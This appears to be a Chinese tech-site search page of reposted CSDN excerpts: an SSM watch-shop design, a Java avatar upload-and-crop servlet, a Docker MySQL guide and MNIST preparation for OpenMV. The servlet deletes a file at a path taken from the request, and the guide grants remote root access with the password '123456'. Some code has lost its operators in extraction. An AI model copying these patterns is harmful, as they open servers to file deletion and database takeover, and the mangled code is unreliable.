前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[类路径问题 ]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...很大不同,没有侵权等问题,在法律上完全具有可行性。 综上所述,腕表交易系统在技术、经济、操作和法律上都具有很高的可行性,开发此程序是很必要的。 3.2 腕表交易系统功能需求分析 此基于SSM的腕表交易系统分前台功能和后台功能: 1)前台部分由用户使用,主要包括用户注册,腕表购物车管理,订单管理,个人资料管理,留言板管理 2)后台部分由管理员使用,主要包括管理员身份验证,商品管理,处理订单,用户信息管理,连接信息管理 3.3 数据库需求分析 数据库的设计通常是以一个已经存在的数据库管理系统为基础的,常用的数据库管理系统有MYSQL,SQL,Oracle等。我采用了Mysql数据库管理系统,建立的数据库名为db_business。 整个系统功能需要以下数据项: 用户:用户id、用户名称、登录密码、用户真实姓名、性别、邮箱地址、联系地址、联系电话、密码问题、答案、注册时间。 留言:主题id、作者姓名、Email、主题名称、留言内容、发布时间。 商品:商品id、名称、价格、图片路径、类型、简要介绍、存储地址、上传人姓名、发布时间、是否推荐。 订单:订单号、用户名、真实姓名、订购日期、Email、地址、邮编、付款方式、联系方式、运送方式、订单核对、其他。 管理员:管理员id、管理员名称、管理员密码。 公告:公告内容、公告时间。 4系统设计 4.1 系统功能模块设计 功能结构图如下: 图9 功能模块设计图 从图中可以看出,网上腕表交易系统可以分为前台和后台两个部分,前台部分由用户使用,主要包括用户注册,生成订单,腕表购物车管理,查看腕表购物车,查看留言,订购产品,订单查询和发布留言7个模块;本文转载自http://www.biyezuopin.vip/onews.asp?id=11975后台部分由管理员使用,主要包括管理员身份验证,商品管理,处理订单,用户信息管理,连接信息管理5个模块。 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><base href="<%=basePath%>"/><title>腕表商城</title><meta http-equiv="pragma" content="no-cache"><meta http-equiv="cache-control" content="no-cache"><meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"><meta http-equiv="description" content="This is my page"><meta name="viewport" content="width=device-width, initial-scale=1"><!-- Favicon --><link rel="shortcut icon" type="image/x-icon" href="img/favicon.png"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/font-awesome.min.css" /><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/bootstrap.css" /><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/style.css"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/magnific-popup.css"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/owl.carousel.css"><script type="text/javascript">function getprofenlei(){ var html = ""; $.ajax({url: "leixing.action?list&page=0&rows=30",type: "POST",async: false, contentType: "application/x-www-form-urlencoded;charset=UTF-8",success: function (data) { $.each(data.rows, function (i, val) { html += ' <li ><a href="home/search.jsp?fenlei='+val.id+'" >'+val.a1+' </a></li>';})} }); $("fenlei").html(html);}function gettop1(){var html = "";$.ajax({url: "leixing.action?list&page=0&rows=10",type: "POST",async: false,success: function (data) {var total='';//<div class="tab-pane active" id="nArrivals">// <div class="nArrivals owl-carousel" id="top1">$.each(data.rows, function (i, valmm) { html+='<div class="nArrivals owl-carousel" id="'+valmm.id+'">';$.ajax({url: "shangpin.action?list&page=0&rows=10",type: "POST",async: false,data: { fenlei:valmm.id },success: function (data) { $.each(data.rows, function (i, val) { html+='<div class="product-grid">'+'<div class="item">'+' <div class="product-thumb">'+' <div class="image product-imageblock"> <a href="home/details.jsp?ids='+val.id+'"> <img data-name="product_image" style="width:223px;height:285px;" src="<%=basePath%>'+val.tupian1+'" alt="iPod Classic" title="iPod Classic" class="img-responsive"> <img style="width:223px;height:285px;" src="<%=basePath%>'+val.tupian1+'" alt="iPod Classic" title="iPod Classic" class="img-responsive"> </a> </div>'+' <div class="caption product-detail text-left">'+' <h6 data-name="product_name" class="product-name mt_20"><a href="home/details.jsp?ids='+val.id+'" title="Casual Shirt With Ruffle Hem">'+val.biaoti+'</a></h6>'+' <div class="rating"> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-x"></i></span> </div>'+'<span class="price"><span class="amount"><span class="currencySymbol">$</span>'+val.jiage+'</span>'+'</span>'+'<div class="button-group text-center">'+' <div class="wishlist"><a href="home/details.jsp?ids='+val.id+'"><span>wishlist</span></a></div>'+'<div class="quickview"><a href="home/details.jsp?ids='+val.id+'"><span>Quick View</span></a></div>'+'<div class="compare"><a href="home/details.jsp?ids='+val.id+'"><span>Compare</span></a></div>'+'<div class="add-to-cart"><a href="home/details.jsp?ids='+val.id+'"><span>Add to cart</span></a></div>'+'</div>'+'</div>'+'</div>'+'</div>'+' </div>'; })html+='</div>'; } })}) $("nArrivals").html(html); } }); 本篇文章为转载内容。原文链接:https://blog.csdn.net/newlw/article/details/127608579。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-21 18:24:50
67
转载
转载文章
...之前没有处理过类似的问题,本文主要记录对头像的处理过程以及思考,希望给碰到类似问题的苦逼程序员一点借鉴。 个人中心整体功能一览 2,头像处理xmind 叽歪一句,个人碰到问题的时候,首先会分析问题,在分析问题的基础上,得到整体的解决方案,然后一步步分解步骤,去实现,首先奉上我的解决方案,也许不是最优的,但是按照个人的知识和技能水平,绝对是可以实现的。 修改头像mind 3,实现步骤 按照我的mind,首先是上传图片,先上效果图,然后给出实现的代码。首先是整体的结构图,做的比较丑,别喷哥··· 修改头像整体效果图 下面按照mind一步步实现, 首先:点击修改头像,弹出一个层, 第一步:弹出上传图片的层,上传图片到服务器 对实现细节不感冒的屌丝可以看看代码(结合哥的mind看可以事半功倍): 分层实现细节 Html结构层这个可以免了,一般都可以弄出来 Js连接层 首先是弹出一个上传图片的层,然后上传图片到服务器端。 $("editHead").bind("click", function () { showUploadDiv(); }); function showUploadDiv() { $("uploadMsg").empty(); $.fancybox({ type:'inline', width:400, href:'uploadUserHead' }); }//fancybox弹出层 上传的处理代码 Servlet服务端处理层(commonupload实现)服务器端处理代码 上传的处理代码 $(function () { $("uploadFrom").ajaxForm({ beforeSubmit:checkImg, error:function(data,status){ alert(status+' , '+data); $("uploadMsg").html('上传文件超过1M!'); }, success:function (data,status) { try{ var msg = $.parseJSON(data); if (msg.code == 200) { //如果成功提交 javascript:$.fancybox.close(); $("uploadUserHead").hide(); var data = msg.object; $("editImg").attr("src", data.path).show(); $("preview1").attr("src", data.path).show(); $(".zoom").show(); $("width").val(data.width); $("height").val(data.height); $("oldImgPath").val(data.realPath); $("imgFileExt").val(data.fileExt); var api, jcrop_api, boundx, boundy; $('editImg').Jcrop({ onChange:updatePreview, onSelect:updatePreview, aspectRatio:1, bgOpacity:0.5, bgColor:'white', addClass:'jcrop-light' }, function () { api = this; api.setSelect([130, 65, 130 + 350, 65 + 285]); api.setOptions({ bgFade:true }); api.ui.selection.addClass('jcrop-selection'); var bounds = this.getBounds(); boundx = bounds[0]; boundy = bounds[1]; jcrop_api = this; }); function updatePreview(c) { if (parseInt(c.w) > 0) { var rx = 80 / c.w; var ry = 80 / c.h; $('preview1').css({ width:Math.round(rx boundx) + 'px', height:Math.round(ry boundy) + 'px', marginLeft:'-' + Math.round(rx c.x) + 'px', marginTop:'-' + Math.round(ry c.y) + 'px' }); } jQuery('x').val(c.x); jQuery('y').val(c.y); jQuery('x2').val(c.x2); jQuery('y2').val(c.y2); jQuery('w').val(c.w); jQuery('h').val(c.h); } } if (msg.code == 204) { $("uploadMsg").html(msg.msg); } }catch (e){ $("uploadMsg").html('上传文件超过1M!'); } } }); }); //服务器端处理代码 String tempSavePath = ConfigurationUtils.get("user.resource.dir"); //上传的图片零时保存路径 String tempShowPath = ConfigurationUtils.get("user.resource.url"); //用户保存的头像路径 if(tempSavePath.equals("/img")) { tempSavePath=sc.getRealPath("/")+tempSavePath; } Msg msg = new Msg(); msg.setCode(204); msg.setMsg("上传头像失败!"); String type = request.getParameter("type"); if (!Strings.isNullOrEmpty(type) && type.equals("first")) { request.setCharacterEncoding("utf-8"); DiskFileItemFactory factory = new DiskFileItemFactory(); ServletFileUpload servletFileUpload = new ServletFileUpload(factory); try { List items = servletFileUpload.parseRequest(request); Iterator iterator = items.iterator(); while (iterator.hasNext()) { FileItem item = (FileItem) iterator.next(); if (!item.isFormField()) { { File tempFile = new File(item.getName()); File saveTemp = new File(tempSavePath+"/tempImg/"); String getItemName=tempFile.getName(); String fileName = UUID.randomUUID()+"." +getItemName.substring(getItemName.lastIndexOf(".") + 1, getItemName.length()); File saveDir = new File(tempSavePath+"/tempImg/", fileName); //如果目录不存在,创建。 if (saveTemp.exists() == false) { if (!saveTemp.mkdir()) { // 创建失败 saveTemp.getParentFile().mkdir(); saveTemp.mkdir(); } else { } } if (saveDir.exists()) { log.info("存在同名文件···"); saveDir.delete(); } item.write(saveDir); log.info("上传头像成功!"+saveDir.getName()); msg.setCode(200); msg.setMsg("上传头像成功!"); Image image = new Image(); BufferedImage bufferedImage = null; try { bufferedImage = ImageIO.read(saveDir); } catch (IOException e) { e.printStackTrace(); } image.setHeight(bufferedImage.getHeight()); image.setWidth(bufferedImage.getWidth()); image.setPath(tempShowPath+ "/tempImg/" + fileName); log.info(image.getPath()); image.setRealPath(tempSavePath+"/tempImg/"+ fileName); image.setFileExt(fileName.substring(fileName.lastIndexOf(".") + 1, fileName.length())); msg.setObject(image); } } else { log.info("" + item.getFieldName()); } } } catch (Exception ex) { log.error("上传用户头像图片异常!"); ex.printStackTrace(); } finally { AppHelper.returnJsonAjaxForm(response, msg); } } 上传成功后,可以看到照片和照片的预览效果。看图: 上传头像之后的效果 Friday, October 05, 2012 第二步:编辑和保存头像 选中图中的区域,保存头像,就完成头像的修改。 修改之后的效果入下: 修改之后的头像(因为传了一张动态图片,得到的跟上图有些不同) 实现细节: 首先用了一个js控件:Jcrop,有兴趣的屌丝可以去搜一下,然后,利用上传之后的图片和之前的选定区域,完成了一个截图,保存为用户的头像。 连接层的js: $("saveHead").bind("click", function () { var width = $("width").val(); var height = $("height").val(); var oldImgPath = $("oldImgPath").val(); var imgFileExt = $("imgFileExt").val(); var x = $('x').val(); var y = $('y').val(); var w = $('w').val(); var h = $('h').val(); $.ajax({ url:'/imgCrop', type:'post', data:{x:x, y:y, w:w, h:h, width:width, height:height, oldImgPath:oldImgPath, fileExt:imgFileExt}, datatype:'json', success:function (msg) { if (msg.code == 200) { $("avatar").attr("src", msg.object); forword('/nav', 'index'); } else { alert(msg.msg); } } }); }); function checkImg() { //限制上传文件的大小和后缀名 var filePath = $("input[name='uploadImg']").val(); if (!filePath) { $("uploadMsg").html("请选择上传文件!").show(); return false; } else { var extStart = filePath.lastIndexOf("."); var ext = filePath.substring(extStart, filePath.length).toUpperCase(); if (ext != ".PNG" && ext != ".GIF" && ext != ".JPG") { $("uploadMsg").html("图片限于png,gif,jpg格式!").show(); return false; } } return true; } 服务器端处理代码: String savePath = ConfigurationUtils.get("user.resource.dir"); //上传的图片保存路径 String showPath = ConfigurationUtils.get("user.resource.url"); //显示图片的路径 if(savePath.equals("/img")) { savePath=sc.getRealPath("/")+savePath; } int userId = AppHelper.getUserId(request); String userName=AppHelper.getUserName(request); Msg msg = new Msg(); msg.setCode(204); msg.setMsg("剪切图片失败!"); if (userId <= 0) { msg.setMsg("请先登录"); return; } // 用户经过剪辑后的图片的大小 Integer x = (int)Float.parseFloat(request.getParameter("x")); Integer y = (int)Float.parseFloat(request.getParameter("y")); Integer w = (int)Float.parseFloat(request.getParameter("w")); Integer h = (int)Float.parseFloat(request.getParameter("h")); //获取原显示图片路径 和大小 String oldImgPath = request.getParameter("oldImgPath"); Integer width = (int)Float.parseFloat(request.getParameter("width")); Integer height = (int)Float.parseFloat(request.getParameter("height")); //图片后缀 String imgFileExt = request.getParameter("fileExt"); String foldName="/"+ DateUtils.nowDatetoStrToMonth()+"/"; String imgName = foldName + UUID.randomUUID()+userName + "." + imgFileExt; //组装图片真实名称 String createImgPath = savePath + imgName; //进行剪切图片操作 ImageCut.abscut(oldImgPath,createImgPath, xwidth/300, yheight/300, wwidth/300, hheight/300); File f = new File(createImgPath); if (f.exists()) { msg.setObject(imgName); //把显示路径保存到用户信息下面。 UserService userService = userServiceProvider.get(); int rel = userService.updateUserAvatar(userId, showPath+imgName); if (rel >= 1) { msg.setCode(200); msg.setMsg("剪切图片成功!"); log.info("剪切图片成功!"); //记录日志,更新session log(showPath+imgName,userName); UserObject userObject= userService.getUserObject(userName); request.getSession().setAttribute("userObject", userObject); if (userObject != null && Strings.isNullOrEmpty(userObject.getHeadDir())) userObject.setHeadDir("/images/geren_right_01.jpg"); } else { msg.setCode(204); msg.setMsg("剪切图片失败!"); log.info("剪切图片失败!"); } } AppHelper.returnJson(response, msg); File file=new File(oldImgPath); boolean deleteFile= file.delete(); if(deleteFile==true) { log.info("删除原来图片成功"); } / 图像切割(改) @param srcImageFile 源图像地址 @param dirImageFile 新图像地址 @param x 目标切片起点x坐标 @param y 目标切片起点y坐标 @param destWidth 目标切片宽度 @param destHeight 目标切片高度 / public static void abscut(String srcImageFile, String dirImageFile, int x, int y, int destWidth, int destHeight) { try { Image img; ImageFilter cropFilter; // 读取源图像 BufferedImage bi = ImageIO.read(new File(srcImageFile)); int srcWidth = bi.getWidth(); // 源图宽度 int srcHeight = bi.getHeight(); // 源图高度 if (srcWidth >= destWidth && srcHeight >= destHeight) { Image image = bi.getScaledInstance(srcWidth, srcHeight, Image.SCALE_DEFAULT); // 改进的想法:是否可用多线程加快切割速度 // 四个参数分别为图像起点坐标和宽高 // 即: CropImageFilter(int x,int y,int width,int height) cropFilter = new CropImageFilter(x, y, destWidth, destHeight); img = Toolkit.getDefaultToolkit().createImage(new FilteredImageSource(image.getSource(), cropFilter)); BufferedImage tag = new BufferedImage(destWidth, destHeight, BufferedImage.TYPE_INT_RGB); Graphics g = tag.getGraphics(); g.drawImage(img, 0, 0, null); // 绘制缩小后的图 g.dispose(); // 输出为文件 ImageIO.write(tag, "JPEG", new File(dirImageFile)); } } catch (Exception e) { e.printStackTrace(); } } 最后一个处理的比较好的地方就是图片的存储路径问题: 我在服务器端的nginx中做了一个图片的地址映射,把图片放到了跟程序不同的路径中,每次存储图片都是存到图片路径中,客户端拿到图片的地址确实经过nginx映射过的地址。 还有就是关于限制上传图片的大小的问题: 我在服务器端显示了资源的最大大小为1M,当上传的资源超过1M,服务器自动报错413,通过异常处理,可以在客户端得到正确的提示信息。 4,总结优点和不足。 关于修改头像,这么做下来确实达到了目的,用户可以从容的修改头像,性能也还可以。但是,上传图片的大小判断是依靠服务器端来判断的,等待的时间比较久,改进的方向是使用flash控件来限制,使用flash来上传,也不会出现弹出层,这样比较大众化,更容易为用户接受一点。我会不断改进。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39849287/article/details/111489534。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-18 10:58:17
270
转载
转载文章
...考(续) 在哪里提交问题:https://github.com/docker-library/mysql/issues 支持的架构:(更多信息)amd64 发布的镜像工件详情:repo-info repo 的 repos/mysql/ 目录(历史)(镜像元数据、传输大小等) 镜像更新:official-images repo 的 library/mysql 标签 官方图像 repo 的库/mysql 文件(历史) 此描述的来源:docs repo 的 mysql/ 目录(历史) 2.4. 如何使用镜像 2.4.1. 启动一个mysql服务器实例 启动 MySQL 实例很简单: $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 其中 some-mysql 是您要分配给容器的名称, my-secret-pw 是要为 MySQL root 用户设置的密码,而 tag 是指定您想要的 MySQL 版本的标签。 有关相关标签,请参见上面的列表。 以下是示例(通常要设置时区),注意-v 这里是挂载磁盘,请提前创建目录/var/mysql/data,/var/lib/mysql是容器里的原持久化目录: docker run --name mysql202201 -e MYSQL_ROOT_PASSWORD=123456 -e TZ=Asia/Shanghai -v /var/mysql/data:/var/lib/mysql -d mysql:5.7 2.4.2. 从 MySQL 命令行客户端连接到 MySQL 以下命令启动另一个 mysql 容器实例并针对您的原始 mysql 容器运行 mysql 命令行客户端,允许您针对您的数据库实例执行 SQL 语句: $ docker run -it --network some-network --rm mysql mysql -hsome-mysql -uexample-user -p 其中 some-mysql 是原始 mysql 容器的名称(连接到 some-network Docker 网络)。 此镜像也可以用作非 Docker 或远程实例的客户端: $ docker run -it --rm mysql mysql -hsome.mysql.host -usome-mysql-user -p 有关 MySQL 命令行客户端的更多信息,请参阅 MySQL 文档。 2.4.3. 容器外访问和查看 MySQL 日志 docker exec 命令允许您在 Docker 容器内运行命令。 以下命令行将为您提供 mysql 容器内的 bash shell: $ docker exec -it some-mysql bash 第一次启动一个MySQL容器后,需要对账户进行授权,否则无法远程访问,请先使用上面的命令进入容器内,然后使用以下命令连接到mysql服务: mysql -uroot -p 输入密码回车,进入mysql命令界面mysql> 接着授权root远程访问权限: mysql> GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456'; 然后就可以远程用MySQL客户端连接到MySQL容器了。 日志可通过 Docker 的容器日志获得: $ docker logs some-mysql 2.4.4. 使用自定义 MySQL 配置文件 MySQL 的默认配置可以在 /etc/mysql/my.cnf 中找到,其中可能包含额外的目录,例如 /etc/mysql/conf.d 或 /etc/mysql/mysql.conf.d。 请检查 mysql 映像本身中的相关文件和目录以获取更多详细信息。 如果 /my/custom/config-file.cnf 是你的自定义配置文件的路径和名称,你可以这样启动你的 mysql 容器(注意这个命令只使用了自定义配置文件的目录路径): $ docker run --name some-mysql -v /my/custom:/etc/mysql/conf.d -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 这将启动一个新容器 some-mysql,其中 MySQL 实例使用来自 /etc/mysql/my.cnf 和 /etc/mysql/conf.d/config-file.cnf 的组合启动设置,后者的设置优先 . 没有 cnf 文件的配置 许多配置选项可以作为标志传递给 mysqld。 这将使您可以灵活地自定义容器,而无需 cnf 文件。 例如,如果要将所有表的默认编码和排序规则更改为使用 UTF-8 (utf8mb4),只需运行以下命令: $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci 如果您想查看可用选项的完整列表,只需运行: $ docker run -it --rm mysql:tag --verbose --help 2.4.5. 环境变量 启动 mysql 镜像时,可以通过在 docker run 命令行中传递一个或多个环境变量来调整 MySQL 实例的配置。 请注意,如果您使用已包含数据库的数据目录启动容器,则以下任何变量都不会产生任何影响:任何预先存在的数据库在容器启动时将始终保持不变。 另请参阅 https://dev.mysql.com/doc/refman/5.7/en/environment-variables.html 以获取 MySQL 的环境变量的文档(尤其是 MYSQL_HOST 等变量,已知与此镜像一起使用时会导致问题)。 MYSQL_ROOT_PASSWORD 此变量是必需的,并指定将为 MySQL root 超级用户帐户设置的密码。 在上面的示例中,它被设置为 my-secret-pw。 MYSQL_DATABASE 此变量是可选的,允许您指定要在映像启动时创建的数据库的名称。 如果提供了用户/密码(见下文),则该用户将被授予对此数据库的超级用户访问权限(对应于 GRANT ALL)。 MYSQL_USER、MYSQL_PASSWORD 这些变量是可选的,用于创建新用户和设置该用户的密码。 该用户将被授予对 MYSQL_DATABASE 变量指定的数据库的超级用户权限(见上文)。 要创建用户,这两个变量都是必需的。 请注意,不需要使用此机制来创建超级用户超级用户,默认情况下会使用 MYSQL_ROOT_PASSWORD 变量指定的密码创建该用户。 MYSQL_ALLOW_EMPTY_PASSWORD 这是一个可选变量。 设置为非空值,例如 yes,以允许使用 root 用户的空白密码启动容器。 注意:除非您真的知道自己在做什么,否则不建议将此变量设置为 yes,因为这将使您的 MySQL 实例完全不受保护,从而允许任何人获得完全的超级用户访问权限。 MYSQL_RANDOM_ROOT_PASSWORD 这是一个可选变量。 设置为非空值,如 yes,为 root 用户生成随机初始密码(使用 pwgen)。 生成的根密码将打印到标准输出(生成的根密码:…)。 MYSQL_ONETIME_PASSWORD 一旦初始化完成,将 root(不是 MYSQL_USER 中指定的用户!)用户设置为过期,强制在第一次登录时更改密码。 任何非空值都将激活此设置。 注意:此功能仅在 MySQL 5.6+ 上受支持。 在 MySQL 5.5 上使用此选项将在初始化期间引发适当的错误。 MYSQL_INITDB_SKIP_TZINFO 默认情况下,入口点脚本会自动加载 CONVERT_TZ() 函数所需的时区数据。 如果不需要,任何非空值都会禁用时区加载。 2.4.6. Docker Secrets 作为通过环境变量传递敏感信息的替代方法,_FILE 可以附加到先前列出的环境变量中,从而导致初始化脚本从容器中存在的文件中加载这些变量的值。 特别是,这可用于从存储在 /run/secrets/<secret_name> 文件中的 Docker 机密中加载密码。 例如: $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD_FILE=/run/secrets/mysql-root -d mysql:tag 目前,这仅支持 MYSQL_ROOT_PASSWORD、MYSQL_ROOT_HOST、MYSQL_DATABASE、MYSQL_USER和 MYSQL_PASSWORD。 2.4.7. 初始化一个新实例 首次启动容器时,将使用提供的配置变量创建并初始化具有指定名称的新数据库。 此外,它将执行 /docker-entrypoint-initdb.d 中的扩展名为 .sh、.sql 和 .sql.gz 的文件。 文件将按字母顺序执行。 您可以通过将 SQL 转储安装到该目录并提供带有贡献数据的自定义镜像来轻松填充您的 mysql 服务。 SQL 文件将默认导入到 MYSQL_DATABASE 变量指定的数据库中。 2.5. 注意事项 2.5.1. 在哪里存储数据 重要提示:有几种方法可以存储在 Docker 容器中运行的应用程序使用的数据。 我们鼓励 mysql 映像的用户熟悉可用的选项,包括: 让 Docker 通过使用自己的内部卷管理将数据库文件写入主机系统上的磁盘来管理数据库数据的存储。 这是默认设置,对用户来说简单且相当透明。 缺点是对于直接在主机系统(即外部容器)上运行的工具和应用程序,可能很难找到这些文件。 在主机系统(容器外部)上创建一个数据目录,并将其挂载到容器内部可见的目录。 这会将数据库文件放置在主机系统上的已知位置,并使主机系统上的工具和应用程序可以轻松访问这些文件。 缺点是用户需要确保目录存在,例如主机系统上的目录权限和其他安全机制设置正确。 Docker 文档是了解不同存储选项和变体的一个很好的起点,并且有多个博客和论坛帖子在该领域讨论和提供建议。 我们将在这里简单地展示上面后一个选项的基本过程: 在主机系统上的合适卷上创建数据目录,例如 /my/own/datadir。 像这样启动你的 mysql 容器: $ docker run --name some-mysql -v /my/own/datadir:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 命令的 -v /my/own/datadir:/var/lib/mysql 部分将底层主机系统中的 /my/own/datadir 目录挂载为容器内的 /var/lib/mysql ,默认情况下 MySQL 将 写入其数据文件。 2.5.2. 在 MySQL 初始化完成之前没有连接 如果容器启动时没有初始化数据库,则会创建一个默认数据库。 虽然这是预期的行为,但这意味着在初始化完成之前它不会接受传入的连接。 在使用同时启动多个容器的自动化工具(例如 docker-compose)时,这可能会导致问题。 如果您尝试连接到 MySQL 的应用程序没有处理 MySQL 停机时间或等待 MySQL 正常启动,那么在服务启动之前放置一个连接重试循环可能是必要的。 有关官方图像中此类实现的示例,请参阅 WordPress 或 Bonita。 2.5.3. 针对现有数据库的使用 如果您使用已经包含数据库的数据目录(特别是 mysql 子目录)启动 mysql 容器实例,则应该从运行命令行中省略 $MYSQL_ROOT_PASSWORD 变量; 在任何情况下都将被忽略,并且不会以任何方式更改预先存在的数据库。 2.5.4. 以任意用户身份运行 如果你知道你的目录的权限已经被适当地设置了(例如对一个现有的数据库运行,如上所述)或者你需要使用特定的 UID/GID 运行 mysqld,那么可以使用 --user 调用这个镜像设置为任何值(root/0 除外)以实现所需的访问/配置: $ mkdir data$ ls -lnd datadrwxr-xr-x 2 1000 1000 4096 Aug 27 15:54 data$ docker run -v "$PWD/data":/var/lib/mysql --user 1000:1000 --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 2.5.5. 创建数据库转储 大多数普通工具都可以工作,尽管在某些情况下它们的使用可能有点复杂,以确保它们可以访问 mysqld 服务器。 确保这一点的一种简单方法是使用 docker exec 并从同一容器运行该工具,类似于以下内容: $ docker exec some-mysql sh -c 'exec mysqldump --all-databases -uroot -p"$MYSQL_ROOT_PASSWORD"' > /some/path/on/your/host/all-databases.sql 2.5.6. 从转储文件恢复数据 用于恢复数据。 您可以使用带有 -i 标志的 docker exec 命令,类似于以下内容: $ docker exec -i some-mysql sh -c 'exec mysql -uroot -p"$MYSQL_ROOT_PASSWORD"' < /some/path/on/your/host/all-databases.sql 备注 docker安装完MySQL,后面就是MySQL容器在跑,基本上就是当MySQL服务去操作,以前MySQL怎么做现在还是一样怎么做,只是个别操作因为docker包了一层,麻烦一点。 有需要的话,我们也可以基于MySQL官方镜像去定制我们自己的镜像,就比如主从镜像之类的。 本篇文章为转载内容。原文链接:https://blog.csdn.net/muluo7fen/article/details/122731852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-29 17:31:06
102
转载
转载文章
...':需要更改的文件路径!!!!!!此处是原始数据集位置train_images = 'C:/Users/ASUS/Desktop/train-images.idx3.ubyte'train_labels = 'C:/Users/ASUS/Desktop/train-labels.idx1.ubyte'test_images ='C:/Users/ASUS/Desktop/t10k-images.idx3.ubyte'test_labels = 'C:/Users/ASUS/Desktop/t10k-labels.idx1.ubyte'此处是我们将转化后的数据集保存的位置save_train ='C:/Users/ASUS/Desktop/MNIST/train_images/'save_test ='C:/Users/ASUS/Desktop/MNIST/test_images/'if not os.path.exists(save_train):os.makedirs(save_train)if not os.path.exists(save_test):os.makedirs(save_test)trans(test_images, test_labels, save_test)trans(train_images, train_labels, save_train) 2.2 将图片按照标签分类到具体文件夹 文章参考链接:python实现根据文件名自动分类转移至不同的文件夹 注意:为了适合这个数据集和我的win11系统对代码进行了一点调整,由于数据很多如果只需要部分数据一定要将那些数据单独放在一个文件夹。 导入库import osimport shutil 当前文件夹所在的路径,使用时需要进行修改current_path = 'C:/Users/ASUS/Desktop/MNIST/test'print('当前文件夹为:' + current_path) 读取该路径下的文件filename_list = os.listdir(current_path) 建立文件夹并且进行转移 假设原图片名称 test_001_2.jpgfor filename in filename_list:name1, name2, name3 = filename.split('_') name1 = test name2 = 001 name3 = 2.jpgname4, name5 = name3.split('.') name4 = 2 name5 = jpgif name5 == 'jpg' or name5 == 'png':try:os.mkdir(current_path+'/'+name4)print('成功建立文件夹:'+name4)except:passtry:shutil.move(current_path+'/'+filename, current_path+'/'+name4[:])print(filename+'转移成功!')except Exception as e:print('文件 %s 转移失败' % filename)print('转移错误原因:' + e)print('整理完毕!') 2.3 数据存在的缺陷 数据集内的图片数量很多,由于后面介绍的云端训练的限制,只能采用部分数据(本人采用的是1000张,大家可以自行增减数目)。 数据集为国外的数据集,很多数字写的跟我们不一样。如果想要更好的适用于我们国内的场景,可以对数据集进行手动的筛选。下面是他们写的数字2: 可以看出跟我们的不一样,不过数据集中仍然存在跟常规书写的一样的,我们需要进行人为的筛选。 2.4 优化建议(核心) 分析发现,部分数字精度不高的原因主要是国外手写很随意,我们可以通过调整网络参数(如下)、人为筛选数据(如上)、增大数据集等方式进行优化。 二、模型训练 主要参考文章:通过云端自动生成openmv的神经网络模型,进行目标检测 !!!唯一不同的点是我图像参数设置的是灰度而不是上述文章的RGB。 下面是我模型训练时的参数设置(仅供参考): 通过混淆矩阵可以看出,主要的错误在于数字2、6、8。我们可以通过查看识别错误的数字来分析可能的原因。 三、项目实现 !!!我们需要先将上述步骤中导出文件中的所有内容复制粘贴带OpenMV中自带的U盘中。然后将其中的.py文件名称改为main 1. 代码实现 本人修改后的完整代码展示如下,使用的是OpenMV IDE(官网下载): 